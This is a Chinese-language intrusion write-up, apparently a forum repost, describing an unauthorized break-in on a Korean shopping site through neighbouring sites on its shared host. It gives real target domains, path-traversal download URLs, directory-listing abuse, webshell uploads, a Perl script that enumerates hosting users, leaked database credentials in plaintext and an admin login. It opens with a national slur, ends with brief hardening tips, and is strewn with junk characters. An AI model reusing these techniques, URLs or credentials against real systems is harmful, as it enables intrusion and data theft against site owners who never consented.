韩国是美国的小弟,俺是安全爱好者,看到网站就想看看该网站的安全做的如何,当我浏览网站产品时,如果要查看详细情况时,都会自动跳转到登录页面。如图2所示,仅仅查看而已,都要登录,有这个必要吗?到底它网站的安全性如何呢? ) r; I8 U7 g0 C7 O5 B0 I% x
http://images.51cto.com/files/uploadimg/20081104/163830926.jpg
2 c5 h) ^5 F! E' v& h( Q图2跳转后的登录界面" I0 m9 X: O) I
+ O" d. r; d$ d# {! g# [' X9 [
1 ~& E+ h1 ^, O7 C. u
一、信息收集
9 c2 }1 w3 [# r S# g1.获取IP地址
" e, S! V n4 F" Y首先打开DOS窗口,然后使用“ping XXX.net”获取该网站的真实IP地址,如图3所示,通过ping命令知道该主机应该采取了一些安全措施,丢包率比较高,应该是禁止进行ping等命令。 7 E( T$ \) q# K
链接标记http://images.51cto.com/files/uploadimg/20081104/163845179.jpg
, ^6 m/ N p+ Z0 q9 O图3 获取真实IP地址6 `/ i8 D8 A$ B& N
. N! B4 B- q& H: K# J( J9 }! L
2 r7 {) r2 a1 K! T C9 I/ F, Q2.使用superscan探测端口& D5 F& o! X$ B# O$ X& @0 W
请出俺的扫描工具——superscan,使用supersan3.0扫了一下IP地址为“XX.XX.85.96”的端口开放情况,如图4所示,发现只开了21,22,80端口,从端口开放情况来看,对外提供服务仅仅21和80端口,感觉安全应该还可以,只能从Web和Ftp来入手。
Z* f2 _4 A0 Q* l链接标记http://images.51cto.com/files/uploadimg/20081104/163910321.jpg
' G+ M6 x2 F* y0 r& P8 m图4情况开放情况
9 L( ]" J0 q h6 q) C
# J) D+ `, a) c7 T8 |6 E' V0 t5 c3 Z4 F- x
3.Ftp口令扫描
) r& `' U( ^4 A0 a: G& V6 d, H使用一些Ftp口令扫描工具对该IP地址扫描,使用了多个字典进行扫描,均未成功,看来Ftp口令扫描攻击方法不行。6 Q; Q5 E6 P" d% W1 u; u
说明:
0 U7 p R6 Y% i( M7 b3 p一般站点都会开放Ftp服务,Ftp服务主要用来上传程序等,一般默认会设置在Web目录,因此一旦获取了Ftp口令,就可以跟用户一样“正常”使用Ftp来上传和下载Web程序,通过上传Webshell或者获取数据库等方式来进行渗透和控制。) K, p4 c7 y2 |8 @5 d5 M' Z
二、检查SQL注入攻击点: ]. ^4 K! G1 F+ P; J" q
1.寻找注入点' E, Q& d4 z0 S% S$ b6 {
先手动对该网站地址进行SQL注入点的检测,在地址后加入“’”、“or”等,例如在地址栏中分别输入:链接标记[url]http://XXX.net/goods/content.asp?big=3&middle=12&small=1&num=30967’[/url]后回车,在地址栏中会自动变成“链接标记[url]http://rolexcopy.net/goods/content.asp?big=3&middle=12&small=1&num=30967%20and%201=1[/url]”,如图5所示,
. T; k% L7 |: Y# J+ R" h3 I; t链接标记http://images.51cto.com/files/uploadimg/20081104/163926236.jpg E- _9 Q, ^7 q; g! r& J
图5 出现SQL错误提示4 L' z$ v9 R8 w
$ _0 K6 d" h) B$ G
虽然手动检测结果提示为SQL错误,当后面使用一些脚本测试,没有找到明显的SQL注入点,使用HDSI等工具进行探测的结果也显示无注入点,说明暂时找不到注入点。
! |/ V# f# Z5 s+ s* M$ |! M2.寻找上传地址
3 B+ i% T/ p6 U通过是使用Flashget以及digshell挖掘鸡等工具对该网站进行上传地址搜索和检查,在链接标记[url]http://xxx.net/other/contact_us.asp[/url]这个页面找到一个上传,但不能上传asp、asa等可以提升权限的文件类型。) ]% w) ?, ~5 [
3.旁注信息搜集9 C+ ]2 P8 `4 Y/ y, g( |% a( L
既然正面不能突破,那么就从侧面,通过旁注来看看可否获取该网站的Webshell。打开链接标记[url]http://www.myipneighbors.com/[/url] 输入XXX.net后发现同一服务器下一共有226个站,如图6所示。
% r+ F, Y/ P- a: y9 K7 {链接标记http://images.51cto.com/files/uploadimg/20081104/164425298.jpg 3 m: ]/ b% [/ R# I6 h
图6同一服务器下的存在的网站2 k/ Q6 L7 E" q! C: ~7 z
" N& k% q; ?1 @/ g: ~5 @: S* c- M4 Y+ k
说明:
9 c9 a- G) ]! @1 k- J @) a. e链接标记[url]http://www.myipneighbors.com/[/url] 是一个通过IP地址或者域名来获取该IP地址或者域名所在服务器中所存在的其它网站地址。它是一个旁注的辅助工具,当然在明小子Domain3.5以及其它一些工具软件中也有这个功能。
% A- Y6 d1 v/ e3 Z% e) h( i既然在该IP地址上有226个网站,那就从其它网站入手吧。
6 F3 v$ T2 Y- g+ T4 `+ v0 a5 c4.尝试对其它站点进行渗透% U8 O) l+ Z* ?7 X# W% \
对剩下的225个网站随机进行SQL注入点探测,随机选中一个网站“hansincar.cafe24.com”,从中找到一个可上传的地方,可以直接上传文件,将本地的一个Webshell文件上传到该站点,上传文件成功后,asp木马却无法运行,如图7所示。
! g3 ~1 d/ u. Z' G0 X4 P# u链接标记http://images.51cto.com/files/uploadimg/20081104/164003770.jpg * p6 t! u$ ]& [: s& u# a" [8 K
图7无权限运行asp木马
+ Q! X. o7 Z% E$ o# M0 R# H) Q2 _6 i+ p2 N# X
看来该站点无法找到突破点,那就选择下一个网站进行探测吧。后面我对多个站点进行了SQL注入探测和寻找文件上传地址。通过探测虽然很多网站存在注入点,但都是public权限,无法备份得shell;即使成功进入后台后,有上传的地方,上传后还是没有运行脚本的权限。' H7 s2 T8 [4 [6 r
说明管理员对该主机采取了严格的基于网站用户角色的安全权限策略,安全设置比较变态,对每个可上传的目录做了限制,仅对已知文件脚本类型运行,而禁止对其它脚本运行,各个网站之间安全先对独立。: a4 o* L3 ~! J) K# [' D
三、获取突破点! r, G4 b+ M0 q- } [0 ?
1.任意下载文件
+ v+ _5 G- q+ X在我即将要放弃安全测试时,在打开链接标记[url]http://nowmotors.com/bbs/content ... =164&bid=used01[/url]页面时,发现可以有下载的地方,而下载的参数就是一个文件,如果没有做限制的话,那就可以下载任何文件!如图8所示。
: C5 R! N B0 {8 w+ N0 K链接标记http://images.51cto.com/files/uploadimg/20081104/164039139.jpg
/ `5 r( r) G! D0 r9 x" a0 w图8下载文件页面0 p$ d* z0 M4 i& o+ ?1 l" |$ i
2 ~2 w% V4 {' c9 y P5 {
9 f5 O5 \# V* @! w/ d2.获取上传文件地址, H% z& @4 v) D5 J
通过测试发现该上传页面可以上传任何文件,而在对另一网站注入时,也得到了网站的绝对路径(F:\HOME\HANSINCAR\WWW\HELPDESK\../board/inc/view.asp),如图9所示。
1 `% H- K- F; d2 ~, a9 o# s链接标记http://images.51cto.com/files/uploadimg/20081104/164054405.jpg ( Z' v: O& Z( e0 _
图9获取网站的绝对路径! }% z0 V3 I* _
3 D5 f+ |" b% w! C- h( x' {3.推测网站绝对路径" K, x" m, C- K, g
通过观察,可以知道在该服务器上每个网站的绝对路径就是“F:\用户名\WWW\”,于是可以构造一个地址下载网站中的源程序:链接标记[url]http://nowmotors.com/bbs/filedow ... w/goods/submain.asp[/url]! @2 \- G6 v, L+ ]5 _
说明:
1 j, i x- Z& S! y3 ^(1)打算下载链接标记[url]http://XXX.net/goods/submain.asp[/url]文件(这里说明一下,因为down默认检查文件名的目录是DEXTUpload/editor/中,查看图片的属性就知道了,所以要"../../"返回网站的根目录),但发现却无法下载,如图10所示。
: Q0 \5 m/ E# J: p/ i5 y链接标记http://images.51cto.com/files/uploadimg/20081104/164108656.jpg 6 j: S0 v* I- h' a: x$ B S) a7 V
图10无法下载源文件: C. N5 T, j; p$ E$ R. v9 x
% s' k8 y$ C# T6 x, d2 Z: [3 \) i' o1 M
(2)分析不能下载原因
. b' s' a9 y& A1 |. x+ }8 {% s4 g难道真的做了限制,还是权限问题?还是其它,nowmotors.com网站肯定存在上传漏洞,更换一个网站进行测试:
. U) m1 L; D/ x' \链接标记[url]http://nowmotors.com/bbs/filedown.asp?filename=../../../../hansincar/www/board/inc/view.asp[/url]# Y: O0 @' @! t' r" ]
发现可以下载,如图11所示。
, y$ Z3 _+ ^% G6 P; q6 |4 ]2 c链接标记http://images.51cto.com/files/uploadimg/20081104/164238964.jpg
- \1 D8 a9 Z6 Y图11正常下载nowmotors.com网站文件- j* K2 q& l( `; L# {9 l8 j
8 ?4 A. Z! ], h. S3 Z" x- L% x8 m$ g( T/ G
但为什么不能下载XXX.net网站中的文件呢,该网站中的submain.asp是存在的,那只有一种可能——用户名XXX不存在。
2 B" a; u U# @# N7 z8 r(3)获取网站的真正用户名; |2 v4 s& [ G! h$ t. L5 j
怎么找到此网站的用户名呢?一个好的办法就是通过网站域名注册信息来获取用户的网站用户名,通过whois.domaintools.com来获取
, c' k8 N% F0 z& XXXX.net网站域名注册信息,如图12所示。
( y7 f$ Z: N$ b链接标记http://images.51cto.com/files/uploadimg/20081104/164250229.jpg
* Y1 F' b) r+ P" @图12获取rolexcopy的域名注册信息
! O* U% p# P8 e- t& \( V- k, K
- H. j0 g h- {) k
! J8 G m9 G" R# Z(4)下载仍然失败
' O |: Q! E1 U) n7 s* K+ m F于是尝试将原来的用户名更换为“tmdgus022”和“tmdgus”,进行测试:链接标记[url]http://nowmotors.com/bbs/filedown.asp?filename=../../../../tmdgus022/www/goods/submain.asp[/url] 链接标记[url]http://nowmotors.com/bbs/filedown.asp?filename=../../../../tmdgus/www/goods/submain.asp[/url]
, `) h* e. c" |& u. `( [3 Z测试结果都显示找不到文件,看来通过该方法仍然无法下载源文件。" {: i. D b! A! y
四、新的转机
0 k1 |; E& Y) H1.动手构建获取网站用户名的程序/ x% _! V8 H7 F. I1 r, {$ }
现在的问题就是要找到网站对应的用户名。在某一网站后台,发现有可以列目录。1 l, i# D/ ~8 m& G
却跳不出该网站的根目录(在根目录时,“../”是不可点击),不可点击,那可以构造URL跳出,于是先看点击返回上一级目录时跳转到的URL,
+ h2 |% c+ o7 `$ X于是找到处理该JS的代码,如下:9 P- t9 u4 o" m- X1 y
[pre]function page_link(FormName, InputName, f_prev, r_name, r_folder, l_folder, last) {
1 F. t8 m; J8 d7 q/ `; t8 |% k# Jvar targetSTR;
6 L1 R' _* {- A
1 }$ Y( q$ n; w/ o9 R. `targetSTR = "dir.asp?FormName="+FormName+"&InputName=# q9 e4 \" i& j" Z8 h7 ^, A
"+InputName+"&f_location="+f_prev;
, o# S' y/ P% j& _1 i. f2 _5 }targetSTR = targetSTR+"&r_location="+r_name+"&r_folder=
* w% x- P- V R) K- q: T"+r_folder+"&l_folder="+l_folder+"&last="+last;- a' d2 q, G, \+ \. Q6 W
window.location.href = targetSTR;5 B- U1 G H# S1 B9 Q5 u% J
}7 \, z6 N. W) O9 H
原来跳转到pop_directory.asp,其它参数都不重要,最重要的是f_location这个参数,+ p! {2 r9 y% |4 f+ b
于是先测试c1saju.com网站,在浏览器中输入:
/ U q+ t$ b: b- Y- ?7 z链接标记[url]http://c1saju.com/admin/inc/pop_directory.asp?FormName=all&f_location=&last=ok[/url], C- Y9 v. ]1 o {
[/pre]8 L/ L- C* l, l0 K1 O6 G) ~- x. I
R0 N, v1 L$ c( V4 `9 X% x: J
列出了当前网站的根目录,如图13所示。
! T- r' {. i0 {: d4 p# [链接标记http://images.51cto.com/files/uploadimg/20081104/164305690.jpg
+ b( W0 V) Z0 p0 l" R图13 使用js文件列c1saju.com网站根目录
7 _9 M$ m8 Q5 h2 S) y: Q' q# Q' ^+ _8 L
$ m0 Z$ I9 f) b9 ?) u( s5 R
2.获取根目录用户名称
' S7 ~, n! G% n4 H" d如果要返回到F:\home就要构造URL:
' W# U& y0 m1 a! v. }# w7 l9 G链接标记[url]http://c1saju.com/admin/inc/pop_directory.asp?FormName=all&f_location=../../&last=ok[/url]因为网站的根目录在F:\home\***\www下,发现还是pop_directory.asp的文件还是在网站的根目录下,难道说不能跳出?再仔细看了下“../../”不是刚好返回到网站根目录吗,因为pop_directory.asp文件在F:\home\***\www\admin\inc\目录下,于是重新构造URL
# t/ Z. X' w+ D; n链接标记[url]http://c1saju.com/admin/inc/pop_directory.asp?FormName=all&f_location=../../../../&last=ok[/url]% E& p9 D7 G& p! v- f1 k
终于跳到F:\home目录中了,全部的用户名都出来了,如图14所示。
& }; i# ?1 E( y5 _- u3 Q& @9 v链接标记http://images.51cto.com/files/uploadimg/20081104/164318699.jpg G) M8 y- l* ^( I4 d
图14列出home目录所有用户) I. o7 |( I+ t0 H0 E
( o' h6 S- I/ _; x$ A
! k6 W! z6 A4 V7 T3 P5 W5 n, G; q2 Q3.动手编写find.pl脚本自动获取用户
' X8 ]4 X- `# D# z8 c# y下面的工作就简单了,就是一个个文件夹点进去,看那个是目录目标网站(链接标记[url]http://XXX.net/[/url]),然后就再构造URL下载就行了,但200多个站,一个个看,那不是很累?于是想出来偷懒的方法,写个脚本来自己找吧,先把网站全部用户复制下来,保存到user.txt文件中,再分析目标站点登录界面源代码,发现网站admin/image目录下有个admin_bk.gif文件,将其作为识别特征,也就是说只要我列出每个admin/image目录中目录下发现有admin_bk.gif文件,说明就可能是目标网站了。Find.pl的脚本源代码如下:
4 M7 {; P* [- e/ v6 F7 f7 b[pre]use LWP;
7 ]/ L5 w) N4 }+ V% o2 euse HTTP::Cookies;7 l6 G. |! N& E+ H) ?6 p
use HTTP::Request::Common qw(POST);
! l2 m# }7 }! D, M& Emy $ua=new LWP::UserAgent;
2 n0 w9 U' z8 [+ c/ A" E$ua->agent('Mozilla/5.0');$ ^7 z4 z" I4 v e: Y; |5 h
$ua->cookie_jar(new HTTP::Cookies);
* L) ]' y- B8 w. ^4 f! V$ dopen(FILE,"user.txt") || die ("Could not open file");% Q7 k: s. t1 b9 Q
my @arr=;
: f- y- l5 S+ R; ofor my $line (@arr) {3 O; a: Z' l, f2 k, C
chomp $line;5 @6 V0 [- W" i% J' _
any($line);) R# h7 v$ M: P; }9 \; L
}; I" @9 c$ e( |6 \$ \5 Y' N7 A
sub any {
% L) g" i! [% F" E( \! `print "分析$_[0]\n";
9 o2 x+ V/ a! M& I3 W, G6 y/ v* }2 ]my $url="链接标记[url]http://c1saju.com/admin/inc/pop_directory.asp?[/url]
. w* r8 P3 s) s6 D2 ~) aFormName=all&InputName=ji_AbsFolder&f_location=../../../../$_
& J1 R; T* F/ c3 f k[0]/www/admin/image&r_location=../../../../&r_folder=) B7 a2 F( f# i+ U
$_[0]/www/admin/image&l_folder=admin&last=";
5 `4 j }" c% hmy ($content, $status, $is_success) = do_GET($url);
5 }1 j! C: ]: c" e6 L9 g/ kif ($content =~ m/pop_directory.asp/) {
- A6 j$ Q$ t/ ]0 }7 X& |next;$ Z# y+ y# Q4 B [# S/ V. l- V
}elsif ($content =~ m/admin_bk.gif/) {( K7 Q$ M7 Q* w8 ~
ok($_[0]);4 E( Z! f3 `9 }' L& C. y
}5 u5 d' S9 x- M- P
}' V6 b+ ?; A' p8 O6 ?
sub do_GET {
' ], o, V z" ^! ~$ P( f4 i$browser = LWP::UserAgent->new unless $browser;8 p6 [& H9 s7 h ^- U& [0 K& o
my $resp = $browser->get(@_);% R3 o. a. [! ]& q
return ($resp->content, $resp->status_line, $resp->is_success, $resp)( J, y) P3 h& [" T
if wantarray;+ \" I& I; T8 L; e- V7 L+ N5 u
return unless $resp->is_success;
2 j" r e: y9 P/ T3 ~5 e vreturn $resp->content;
8 B4 n0 i3 y3 ]" U: E6 D6 ]4 h}3 i9 Y- Q3 n5 F0 Z4 @* m& \
sub ok {2 [7 f3 T; ~$ W5 D
open(FILE1,">>e:/perl/0k.txt") || die ("Could not open file");
- R6 m: D) s M. d1 u3 g, I: Eprint FILE1 "$_[0]\r\n";, d- v8 t( W/ o, O- U
close(FILE1);
0 ?2 i. M O" e8 T}& c P% v4 r9 U! ?: U2 c
[/pre], H# [) ]1 \" _0 a5 I9 n6 ]6 s8 |0 @
' V, s7 {+ a9 I9 O0 D) I4 @ J3 C
在本地运行一下find.pl,等待一分钟左右再打开ok.txt,在该文件中发现有多个用户名; ]2 |2 ^3 ]8 A
注意:
$ S% e: H5 f" b; T+ H' S/ e如果选好过滤的文件为admin_bk.gif,就不会出现那么多用户名了。
9 `. ^( g# n( i3 n0 l( b* ?% D8 d4. 获取rolexcopy.net网站的真实目录
; T' g9 N0 Q6 ?; q, ~, \, G通过在浏览器中对find.pl找到的ok.txt结果进行查看,当找到mykom.cafe24.com,发现和网站链接标记[url]http://XXX.net/[/url]一摸一样,XXX.net网站的目录就是“mykom”目录,如图15所示。; l- k( W/ h# j7 C
链接标记http://images.51cto.com/files/uploadimg/20081104/164334325.jpg
" G$ f/ {4 X U0 F$ d图15获取rolexcopy.net网站的真实目录mykom: n! n6 A2 [5 L; w
: ?; z. e1 e9 a% h; {
5 y8 c8 ~& k! `7 m% D, e5.下载数据库文件$ z9 M. t$ _- n3 [4 j" S9 o i2 S
通过分析该网站目录,找到数据库配置文件dbconfig.asp,通过nowmotors.com网站的文件下载漏洞将其下载到本地:
l- K5 O( W' U1 I3 j/ `+ a* f链接标记[url]http://nowmotors.com/bbs/filedown.asp?filename=../../../../mykom/www/dbconfig.asp[/url]9 ~6 |9 U; J- ?2 t. a5 v9 J! V
成功下载,打看看,得到了用户名和密码。3 [6 O. l" K, b9 E: N
[pre]db_name = "mykom"
8 J+ _% c- P8 o5 udb_id = "mykom"
u* ?! E8 L# a: y& M# E* T% P( tdb_pass = "parksu7616" # d' T u7 Y0 z! |
db_domain = "sql-007.cafe24.com"
9 O, _( e ?; ? A* T% J[/pre]
- u7 h8 q8 e2 S- w7 G5 d2 d) X' b1 a3 _
在本地用webshell连接一下远程数据库,得到管理员用户名和密码,如图16所示,管理员对应的密码为名为,省去破解md5密码值了。
0 ^# s k- J' ^* ?* B) L/ K链接标记http://images.51cto.com/files/uploadimg/20081104/164346549.jpg : @1 c# M" ?. ~+ K' J- ?# Q# ^
图16 使用本地rootkit.asp获取用户名和密码
8 y2 z r9 C& Y7 \* M: v- g
3 m+ m I2 I9 h, v
' ]) N: e9 p3 |: s. R6.进入管理后台
0 |/ q1 {/ @7 b! m! e2 s在后台直接输入获取的用户名和密码登录,如图17所示,成功进入后台,由于俺不是哈韩族,也不认识几个韩文,检查到此为止! 链接标记http://images.51cto.com/files/uploadimg/20081104/164357112.jpg
! l' Y3 D9 k3 y' j0 p图17成功进入rolexcopy.net网站管理后台
. W. X. Y# x% j) `/ z0 g/ m/ s$ y4 S9 O3 ~
五、安全防范措施
% j, [- E; n$ ?3 {就本此渗透过程来看,网站的安全已经设置的比较到位了,但是由于程序中的漏洞,导致了本次渗透成功,因此从安全防范的措施来说,建议就如下方面进行安全加固:
{7 H# t, m7 F' R9 z(1)严格过来脚本5 B$ F, U4 i+ u x# |* Y; @
对于可下载任意文件这个漏洞,不少网站都存在,后果也很严重,其实最简单的方法就是把filename参数里的”../”过滤掉就OK了。+ k C! `3 Q. r0 `
(2)涉及用户登录模块,一定要对密码进行加密,而且建议采取一些经过变换的md5加密。6 o5 ~8 h) a9 C& l" P6 }5 p
(3)重新审查程序中SQL注入漏洞和XSS漏洞,本此检查未对XSS进行检查,但该服务器下多个网站存在SQL注入漏洞,因此也是安全的一个隐患。
3 W/ \8 s. W0 z! q1 |1 H六、总结与体会; L( i: W1 A& Q9 ~; Q _
本次从检测上来说,并没有什么新的检测技术,都是一些老技术。本次检测的亮点就是自己动手编写了一个搜索脚本,自动获取管理用户目录;同时也说明在注入时代,不通过过注入,也一样可以拿到一个网站后台。最后需要提一下perl语言,它真是个好的语言,特别是处理一些重复的网页问题时,可以让我们减少很多重复性的工作,在入侵过程可以起到事半功倍的效果。' f. \4 C6 o3 v9 a
|